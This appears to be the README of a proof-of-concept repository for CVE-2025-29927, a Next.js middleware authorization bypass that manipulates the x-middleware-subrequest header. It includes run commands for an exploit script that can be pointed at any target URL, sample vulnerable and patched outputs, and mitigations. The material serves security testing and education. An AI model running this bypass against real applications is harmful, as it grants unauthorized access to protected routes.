koadt/poc-cve-2025-29927This repository contains a proof of concept (POC) and an exploit script for CVE-2025-29927, a critical vulnerability in Next.js that allows attackers to bypass authorization checks implemented in middleware.
This repository contains a proof of concept (POC) for CVE-2025-29927, a critical vulnerability in Next.js that allows attackers to bypass authorization checks implemented in middleware.
This Next.js application demonstrates the vulnerability with a protected dashboard route.
npm install
npm run build
npm run start
The exploit script can test any Next.js application for this vulnerability.
npm run exploit <target-url>
npm run exploit http://localhost:3000/dashboard
The exploit tool:
x-middleware-subrequest header=== Next.js CVE-2025-29927 Middleware Bypass Tester ===
Target: http://localhost:3000/dashboard
Testing vulnerability...
Normal request status: 307
Bypass request status: 200
⚠️ VULNERABLE
The route is protected but accessible with the bypass header
A fix implementation is available in the how-to-fix branch.
Update Next.js Version (Recommended)
Implement Secondary Validation
=== Next.js CVE-2025-29927 Middleware Bypass Tester ===
Target: http://localhost:3000/dashboard
Testing vulnerability...
Making request without bypass header...
Making request with bypass header...
Normal request status: 307
Bypass request status: 307
✓ NOT VULNERABLE - Protected Route
The route is protected and the bypass attempt was unsuccessful
Normal request redirected to: /
Bypass request redirected to: /
Next.js uses an internal header x-middleware-subrequest to prevent recursive requests. This vulnerability allows attackers to bypass middleware security checks by manipulating this header.
Want to go further? This CVE is implemented as a flag in OSS OopsSec Store, a deliberately vulnerable lab designed for offensive security training.
This tool is provided for educational and testing purposes only. Only use this tool on systems you own or have explicit permission to test.